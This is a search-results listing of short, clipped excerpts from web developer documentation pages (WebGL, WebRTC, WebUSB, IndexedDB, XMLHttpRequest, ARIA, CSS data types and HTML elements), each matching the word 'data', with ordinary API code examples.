the transferout() method of the usbdevice interface returns a promise that resolves with a usbtransferoutresult when bulk or interrupt data is sent to the usb device.
... syntax var promise = usbdevice.transferout(endpointnumber, data) parameters endpointnumber the number of a device-specific endpoint (buffer).
... data a typedarray containing the data to send to the device.
USBDevice - Web APIs
WebAPIUSBDevice
the usbdevice interface of the the webusb api provides access to metadata about a paired usb device and methods for controlling it.
... usbdevice.transferin() returns a promise that resolves with a usbtransferinresult when bulk or interrupt data is received from the usb device.
... usbdevice.transferout() returns a promise that resolves with a usbtransferoutresult when bulk or interrupt data is sent to the usb device.
VTTCue - Web APIs
WebAPIVTTCue
param starttime the time, in seconds and fractions of a second, that describes the beginning of the range of the media data to which the cue applies.
... endtime the time, in seconds and fractions of a second, that describes the end of the range of the media data to which the cue applies.
... example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显示'); track.addcue(cuecn); const cueen = new vttcue(2.6, 4, 'subtitles will display between 2.6 and 4 seconds'); track.addcue(cueen); }); result chrome: please open in jsfiddle to view the live sample...
WebGL2RenderingContext.compressedTexSubImage3D() - Web APIs
syntax // read from the buffer bound to gl.pixel_unpack_buffer void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, imagesize, offset); void gl.compressedtexsubimage3d(target, level, xoffset, yoffset, zoffset, width, height, depth, format, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active texture.
... srcdata an arraybufferview that be used as a data store for the compressed image data in memory.
... examples gl.compressedtexsubimage3d(gl.texture_3d, 0, 0, 0, 512, 512, 512, gl.compressed_r11_eac, texturedata); specifications specification status comment webgl 2.0the definition of 'compressedtexsubimage3d' in that specification.
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
syntax void gl.uniform1ui(location, v0); void gl.uniform2ui(location, v0, v1); void gl.uniform3ui(location, v0, v1, v2); void gl.uniform4ui(location, v0, v1, v2, v3); void gl.uniform1fv(location, data, optional srcoffset, optional srclength); void gl.uniform2fv(location, data, optional srcoffset, optional srclength); void gl.uniform3fv(location, data, optional srcoffset, optional srclength); void gl.uniform4fv(location, data, optional srcoffset, optional srclength); void gl.uniform1iv(location, data, optional srcoffset, optional srclength); void gl.uniform2iv(location, data, optional srcoffset...
..., optional srclength); void gl.uniform3iv(location, data, optional srcoffset, optional srclength); void gl.uniform4iv(location, data, optional srcoffset, optional srclength); void gl.uniform1uiv(location, data, optional srcoffset, optional srclength); void gl.uniform2uiv(location, data, optional srcoffset, optional srclength); void gl.uniform3uiv(location, data, optional srcoffset, optional srclength); void gl.uniform4uiv(location, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
... data, v0, v1, v2, v3 a new value to be used for the uniform variable.
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
syntax void gl.uniformmatrix2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x2fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix2x3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4x3fv(location, transpose, data,...
... optional srcoffset, optional srclength); void gl.uniformmatrix2x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix3x4fv(location, transpose, data, optional srcoffset, optional srclength); void gl.uniformmatrix4fv(location, transpose, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
... data a float32array of float values.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
pixels); // additionally available in webgl 2: // read from buffer bound to gl.pixel_unpack_buffer void gl.compressedteximage2d(target, level, internalformat, width, height, border, glsizei imagesize, glintptr offset); void gl.compressedteximage2d(target, level, internalformat, width, height, border, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); // read from buffer bound to gl.pixel_unpack_buffer void gl.compressedteximage3d(target, level, internalformat, width, height, depth, border, glsizei imagesize, glintptr offset); void gl.compressedteximage3d(target, level, internalformat, width, height, depth, border, arraybufferview srcdata, optional srcoffset, opti...
... pixels an arraybufferview that be used as a data store for the compressed image data in memory.
... examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl 1.0the definition of 'compressedteximage2d' in that specification.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
pixels); // additionally available in webgl 2: void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, imagesize, offset); void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, arraybufferview srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active compressed texture.
... pixels an arraybufferview that be used as a data store for the compressed image data in memory.
... examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); gl.compressedtexsubimage2d(gl.texture_2d, 0, 256, 256, 512, 512, ext.compressed_rgba_s3tc_dxt5_ext, texturedata); specifications specification status comment webgl 1.0the definition of 'compressedtexsubimage2d' in that specification.
WebGLRenderingContext.readPixels() - Web APIs
format a glenum specifying the format of the pixel data.
... webgl2 adds gl.red gl.rg gl.red_integer gl.rg_integer gl.rgb_integer gl.rgba_integer type a glenum specifying the data type of the pixel data.
... possible values: gl.unsigned_byte gl.unsigned_short_5_6_5 gl.unsigned_short_4_4_4_4 gl.unsigned_short_5_5_5_1 gl.float webgl2 adds gl.byte gl.unsigned_int_2_10_10_10_rev gl.half_float gl.short gl.unsigned_short gl.int gl.unsigned_int gl.unsigned_int_10f_11f_11f_rev gl.unsigned_int_5_9_9_9_rev pixels an arraybufferview object to read data into.
Hello vertex attributes - Web APIs
hello world program in glsl how to send input to a shader program by saving data in gpu memory.
... <p>first encounter with attributes and sending data to gpu.
... } initializeattributes(); gl.useprogram(program); gl.drawarrays(gl.points, 0, 1); document.queryselector("canvas").addeventlistener("click", function (evt) { var clickxrelativtocanvas = evt.pagex - evt.target.offsetleft; var clickxinwebglcoords = 2.0 * (clickxrelativtocanvas- gl.drawingbufferwidth/2) / gl.drawingbufferwidth; gl.bufferdata(gl.array_buffer, new float32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.
Creating 3D objects using WebGL - Web APIs
we can pass a lot fewer data around by building an array of all 24 vertices, then referring to each vertex by its index into that array instead of moving entire sets of coordinates around.
... var colors = []; for (var j = 0; j < facecolors.length; ++j) { const c = facecolors[j]; // repeat each color four times for the four vertices of the face colors = colors.concat(c, c, c, c); } const colorbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, colorbuffer); gl.bufferdata(gl.array_buffer, new float32array(colors), gl.static_draw); define the element array once the vertex arrays are generated, we need to build the element array.
... const indices = [ 0, 1, 2, 0, 2, 3, // front 4, 5, 6, 4, 6, 7, // back 8, 9, 10, 8, 10, 11, // top 12, 13, 14, 12, 14, 15, // bottom 16, 17, 18, 16, 18, 19, // right 20, 21, 22, 20, 22, 23, // left ]; // now send the element array to gl gl.bufferdata(gl.element_array_buffer, new uint16array(indices), gl.static_draw); return { position: positionbuffer, color: colorbuffer, indices: indexbuffer, }; } the indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays.
Lighting in WebGL - Web APIs
1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, // bottom 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, // right 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, 1.0, 0.0, 0.0, // left -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0 ]; gl.bufferdata(gl.array_buffer, new float32array(vertexnormals), gl.static_draw); ...
... return { position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferdata().
... gl.uniformmatrix4fv( programinfo.uniformlocations.normalmatrix, false, normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves.
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
let ignoreoffer = false; signaler.onmessage = async ({ data: { description, candidate }}) => { try { if (description) { const offercollision = (description.type == "offer") && (makingoffer || pc.signalingstate != "stable"); ignoreoffer = !polite && offercollision; if (ignoreoffer) { return; } await pc.setremotedescription(description); if (description.type =="offer") { ...
... perfect negotiation with the old api using the previous api to implement incoming negotiation messages during perfect negotiation would look something like this: signaler.onmessage = async({data: { description, candidate }}) => { try { if (description) { if (description.type == "offer" && pc.signalingstate != "stable") { if (!polite) { return; } await promise.all([ pc.setlocaldescription({type: "rollback"}), pc.setremotedescription(description); ]); } else { await pc.setremotedescription(description)...
... let ignoreoffer = false; signaler.onmessage = async ({ data: { description, candidate }}) => { try { if (description) { const offercollision = (description.type == "offer") && (makingoffer || pc.signalingstate != "stable"); ignoreoffer = !polite && offercollision; if (ignoreoffer) { return; } await pc.setremotedescription(description); if (description.type == "offer") { ...
Writing a WebSocket server in Java - Web APIs
inputstream methods: read(byte[] b, int off, int len) reads up to len bytes of data from the input stream into an array of bytes.
... try { string data = s.usedelimiter("\\r\\n\\r\\n").next(); matcher get = pattern.compile("^get").matcher(data); creating the response is easier than understanding why you must do it in this way.
... if (get.find()) { matcher match = pattern.compile("sec-websocket-key: (.*)").matcher(data); match.find(); byte[] response = ("http/1.1 101 switching protocols\r\n" + "connection: upgrade\r\n" + "upgrade: websocket\r\n" + "sec-websocket-accept: " + base64.getencoder().encodetostring(messagedigest.getinstance("sha-1").digest((match.group(1) + "258eafa5-e914-47da-95ca-c5ab0dc85b11").getbytes("utf-8"))) + "\r\n\r\n").getbytes("utf-8"); out.write(response...
Movement, orientation, and motion: A WebXR example - Web APIs
this will help to solidify your understanding of how the geometry of 3d graphics and vr work, as well as to help ensure you understand the way the functions and data that are used during xr rendering work together.
... now that the rendering structures and data are loaded, we start preparing to run the xrsession.
... initbuffers() initializes the buffers that contain data to be passed into webgl.
Migrating from webkitAudioContext - Web APIs
because of these problems, this version of the createbuffer() method has been removed, and you should use the asynchronous decodeaudiodata() method instead.
...httprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { var decodedbuffer = context.createbuffer(xhr.response, false); if (decodedbuffer) { // decoding was successful, do something useful with the audio buffer } else { alert("decoding the audio buffer failed"); } }; converting this code to use decodeaudiodata() is relatively simple, as can be seen below: var xhr = new xmlhttprequest(); xhr.open("get", "/path/to/audio.ogg", true); xhr.responsetype = "arraybuffer"; xhr.send(); xhr.onload = function() { context.decodeaudiodata(xhr.response, function onsuccess(decodedbuffer) { // decoding was successful, do something useful with the audio buffer }, function onfailure() { alert("decoding the a...
...udio buffer failed"); }); }; note that the decodeaudiodata() method is asynchronous, which means that it will return immediately, and then when the decoding finishes, one of the success or failure callback functions will get called depending on whether the audio decoding was successful.
Web Speech API - Web APIs
the web speech api enables you to incorporate voice data into web apps.
... the web speech api has two parts: speechsynthesis (text-to-speech), and speechrecognition (asynchronous speech recognition.) web speech concepts and usage the web speech api makes web apps able to handle voice data.
... speechrecognitionevent the event object for the result and nomatch events, and contains all the data associated with an interim or final speech recognition result.
Web Workers API - Web APIs
but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb.
... data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data property).
... the data is copied rather than shared.
Window: deviceorientation event - Web APIs
the deviceorientation event is fired when fresh data is available from an orientation sensor about the current orientation of the device as compared to the earth coordinate frame.
... this data is gathered from a magnetometer inside the device.
... see orientation and motion data explained for details.
WindowOrWorkerGlobalScope.indexedDB - Web APIs
the indexeddb read-only property of the windoworworkerglobalscope mixin provides a mechanism for applications to asynchronously access the capabilities of indexed databases.
... example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open('todolist'); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; } } specifications specification status comment indexed database api draftthe definition of 'indexeddb' in that specification.
... indexed database api 2.0the definition of 'indexeddb' in that specification.
WindowOrWorkerGlobalScope - Web APIs
windoworworkerglobalscope.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an idbfactory object.
... windoworworkerglobalscope.atob() decodes a string of data which has been encoded using base-64 encoding.
... windoworworkerglobalscope.btoa() creates a base-64 encoded ascii string from a string of binary data.
WorkerGlobalScope - Web APIs
windoworworkerglobalscope.indexeddb read only provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an idbfactory object.
... methods implemented from elsewhere windoworworkerglobalscope.atob() decodes a string of data which has been encoded using base-64 encoding.
... windoworworkerglobalscope.btoa() creates a base-64 encoded ascii string from a string of binary data.
XMLHttpRequest.overrideMimeType() - Web APIs
the xmlhttprequest method overridemimetype() specifies a mime type other than the one provided by the server to be used instead when interpreting the data being transferred in a request.
... example this example specifies a mime type of "text/plain", overriding the server's stated type for the data being received.
... // interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest.responseXML - Web APIs
the xmlhttprequest.responsexml read-only property returns a document containing the html or xml retrieved by the request; or null if the request was unsuccessful, has not yet been sent, or if the data can't be parsed as xml or html.
...responsexml is null for any other types of data, as well as for data: urls.
... syntax var data = xmlhttprequest.responsexml; value a document from parsing the xml or html received using xmlhttprequest, or null if no data was received or if the data is not xml/html.
ARIA: Comment role - Accessibility
<p>the last half of the song is a slow-rising crescendo that peaks at the <span role="mark" aria-details="thread-1">end of the guitar solo</span>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> to associate the comment with the text being commented, we need to wrap the commented text with an element containing the aria-details attribute, the value of which should be the id of the comment.
... multiple comments since aria-details can now accept multiple ids, we can associate multiple comments with the same annotation, like so: <p>the last half of the song is a slow-rising crescendo that peaks at the <mark aria-details="thread-1 thread-2">end of the guitar solo</mark>, before fading away sharply.</p> <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> </div> <div role="comment" id="thread-2" data-author="chris"> <h3>marcus said</h3> <p class="comment-text">the guitar solo could do with a touch more chorus, and a slightly lower volume.</p> <p><time datetime="2019-03-29t15:35">march 29 2019, 15:3...
...5</time></p> </div> nested comments nested comments are also possible with aria annotations — simply nest the comments inside one another, like so: <div role="comment" id="thread-1" data-author="chris"> <h3>chris said</h3> <p class="comment-text">i really think this moment could use more cowbell.</p> <p><time datetime="2019-03-30t19:29">march 30 2019, 19:29</time></p> <div role="comment" data-author="marcus"> <h3>marcus replied</h3> <p class="comment-text">i don't know about that.
ARIA: row role - Accessibility
role="table" one of the three possible contexts (along with grid and treegrid) in which you'll find a row, it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
... role="grid" one of the three possible contexts (along with table and treegrid) in which you'll find a row, it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
... best practices only use table, tbody, thead, tr, th, td, etc., for data table structure.
ARIA: rowgroup role - Accessibility
it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
...it identifies the row as being part of a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element.
... best practices only use table, tbody, thead, tr, th, td, and so on for data table structure.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
</span> css .ribbon { background-color: #5bc8f7; } .ribbon::after { content: "this is a fancy orange box."; background-color: #ffba10; border-color: black; border-style: dotted; } result tooltips this example uses ::after, in conjunction with the attr() css expression and a data-descr custom data attribute, to create tooltips.
... html <p>here we have some <span tabindex="0" data-descr="collection of words and punctuation">text</span> with a few <span tabindex="0" data-descr="small popups that appear when hovering">tooltips</span>.
... </p> css span[data-descr] { position: relative; text-decoration: underline; color: #00f; cursor: help; } span[data-descr]:hover::after, span[data-descr]:focus::after { content: attr(data-descr); position: absolute; left: 0; top: 24px; min-width: 200px; border: 1px #aaaaaa solid; border-radius: 10px; background-color: #ffffcc; padding: 12px; color: #000000; font-size: 14px; z-index: 1; } result specifications specification status comment css pseudo-elements level 4the definition of '::after' in that specification.
animation - CSS: Cascading Style Sheets
WebCSSanimation
lass="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px; background-size: 16px; background-position: center; background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l...
...9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20...
...l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.restart { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22restart%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#restart'); } .grid { width...
attr() - CSS: Cascading Style Sheets
WebCSSattr
/* simple usage */ attr(data-count); attr(title); /* with type */ attr(src url); attr(data-count number); attr(data-width px); /* with fallback */ attr(data-count number, 0); attr(src url, ""); attr(data-width px, inherit); attr(data-something, "default"); syntax values attribute-name is the name of an attribute on the html element referenced in the css.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background { height: 100vh; } .background { background-color: red; } .background[data-background] { background-color: attr(...
...data-background color, red); } specifications specification status comment css values and units module level 4the definition of 'attr()' in that specification.
<basic-shape> - CSS: Cascading Style Sheets
the <basic-shape> css data type represents a shape used in the clip-path, shape-outside, and offset-path properties.
... syntax the <basic-shape> data type is defined with one of the basic shape functions listed below.
... if both shapes are of type path(), both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.
caption-side - CSS: Cascading Style Sheets
formal definition initial valuetopapplies totable-caption elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax top | bottom | block-start | block-end | inline-start | inline-end examples setting captions above and below html <table class="top"> <caption>caption above the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> <br> <table class="bottom"> <caption>caption below the table</caption> <tr> <td>some data</td> <td>some more data</td> </tr> </table> css .top caption { caption-side: top; } .bottom caption { caption-side: bottom; } table { border: 1px solid red; } td { border: 1px solid blue; } result specifications sp...
... browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<color> - CSS: Cascading Style Sheets
the <color> css data type represents a color in the srgb color space.
... a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (via the hsl() and hsla() functional notations) note: this article describes the <color> data type in detail.
... syntax the <color> data type is specified using one of the options listed below.
conic-gradient() - CSS: Cascading Style Sheets
the result of the conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, conic-gradient() won't work on background-color and other properties that use the <color> data type.
<image> - CSS: Cascading Style Sheets
WebCSSimage
the <image> css data type represents a two-dimensional image.
... syntax the <image> data type can be represented with any of the following: an image denoted by the <url> data type a <gradient> data type a part of the webpage, defined by the element() function an image, image fragment or solid patch of color, defined by the image() function a blending of two or more images defined by the cross-fade() function.
...before this, there was no explicitly defined <image> data type.
<length> - CSS: Cascading Style Sheets
WebCSSlength
the <length> css data type represents a distance value.
... syntax the <length> data type consists of a <number> followed by one of the units listed below.
... interpolation when animated, values of the <length> data type are interpolated as real, floating-point numbers.
linear-gradient() - CSS: Cascading Style Sheets
its result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, linear-gradient() won't work on background-color and other properties that use the <color> data type.
<percentage> - CSS: Cascading Style Sheets
the <percentage> css data type represents a percentage value.
... syntax the <percentage> data type consists of a <number> followed by the percentage sign (%).
... interpolation when animated, values of the <percentage> data type are interpolated as real, floating-point numbers.
radial-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, radial-gradient() won't work on background-color and other properties that use the <color> data type.
repeating-conic-gradient() - CSS: Cascading Style Sheets
the result of the repeating-conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, repeating-conic-gradient() won't work on background-color and other properties that use the <color> data type.
repeating-linear-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, repeating-linear-gradient() won't work on background-color and other properties that use the <color> data type.
repeating-radial-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... because <gradient>s belong to the <image> data type, they can only be used where <image>s can be used.
... for this reason, repeating-radial-gradient() won't work on background-color and other properties that use the <color> data type.
<url> - CSS: Cascading Style Sheets
WebCSSurl
the <url> css data type denotes a pointer to a resource, such as an image or a font.
...confusingly, this meant that url() could be used to create a <uri> css data type.
... syntax the <url> data type is specified using the url() functional notation.
Creating and triggering events - Developer guides
adding custom data – customevent() to add more data to the event object, the customevent interface exists and the detail property can be used to pass custom data.
... for example, the event could be created as follows: const event = new customevent('build', { detail: elem.dataset.time }); this will then allow you to access the additional data in the event listener: function eventhandler(e) { console.log('the time is: ' + e.detail); } the old-fashioned way the older approach to creating events uses apis inspired by java.
...elem.dispatchevent(event); event bubbling it is often desirable to trigger an event from a child element, and have an ancestor catch it; optionally, with data: <form> <textarea></textarea> </form> const form = document.queryselector('form'); const textarea = document.queryselector('textarea'); // create a new event, allow bubbling, and provide any data you want to pass to the "detail" property const eventawesome = new customevent('awesome', { bubbles: true, detail: { text: () => textarea.value } }); // the form element listens for the custom...
User input and controls - Developer guides
orientation data can be retrieved through the screen.orientation attribute or through the orientation media feature.
... <div draggable="true" ondragstart="event.datatransfer.setdata('text/plain', 'this text may be dragged')">
 this text <strong>may</strong> be dragged.
... 
</div> in which we: set the draggable attribute to true on the element that you wish to make draggable add a listener for the dragstart event and set the drag data within this listener note: you can find more information in the mdn drag & drop documentation.
<applet>: The Embed Java Applet element - HTML: Hypertext Markup Language
WebHTMLElementapplet
datafld this attribute, supported by internet explorer 4 and higher, specifies the column name from the data source object that supplies the bound data.
... datasrc like datafld, this attribute is used for data binding under internet explorer 4.
... it indicates the id of the data source object that supplies the data that is bound to the <param> elements associated with the applet.
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
... metadata description lists are useful for displaying metadata as a list of key-value pairs.
...this can be useful when using microdata, or when global attributes apply to a whole group, or for styling purposes.
<form> - HTML: Hypertext Markup Language
WebHTMLElementform
multipart/form-data: use this if the form contains <input> elements with type=file.
...possible (case insensitive) values: post: the post method; form data sent as the request body.
... get: the get method; form data appended to the action url with a ?
<input type="password"> - HTML: Hypertext Markup Language
WebHTMLElementinputpassword
it should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message.
...to set an upper limit on the length of the input data, use the maxlength attribute.
...obviously, this regexp doesn't guarantee a valid ssn (since we don't have access to the social security administration's database), but it does ensure the number could be one; it generally avoids values that cannot be valid.
<keygen> - HTML: Hypertext Markup Language
WebHTMLElementkeygen
name the name of the control, which is submitted with the form data.
...the private key is encrypted and stored in the local key database.
...the signedpublickeyandchallenge is base64 encoded, and the ascii data is finally submitted to the server as the value of a form name/value pair, where the name is name as specified by the name attribute of the keygen element.
<link>: The External Resource Link element - HTML: Hypertext Markup Language
WebHTMLElementlink
integrity contains inline metadata — a base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch.
... technical summary content categories metadata content.
... tag omission as it is a void element, the start tag must be present and the end tag must not be present permitted parents any element that accepts metadata elements.
<template>: The Content Template element - HTML: Hypertext Markup Language
WebHTMLElementtemplate
content categories metadata content, flow content, phrasing content, script-supporting element permitted content no restrictions tag omission none, both the starting and ending tag are mandatory.
... permitted parents any element that accepts metadata content, phrasing content, or script-supporting elements.
... <table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later insert content using javascript code.
itemid - HTML: Hypertext Markup Language
the itemid global attribute provides microdata in the form of a unique, global identifier of an item.
...this inconsistency may reflect the incomplete nature of the microdata specification.
...hamilton <dt>publication date <dd><time itemprop="pubdate" datetime="1996-01-26">26 january 1996</time> </dl> structured data itemscope itemtype: itemid http://vocab.example.net/book: urn:isbn:0-330-34032-8 itemprop title the reality dysfunction itemprop author peter f.
HTML: Hypertext Markup Language
WebHTML
html markup includes special "elements" such as <head>, <title>, <body>, <header>, <footer>, <article>, <section>, <p>, <div>, <span>, <img>, <aside>, <audio>, <canvas>, <datalist>, <details>, <embed>, <nav>, <output>, <progress>, <video>, <ul>, <ol>, <li> and many others.
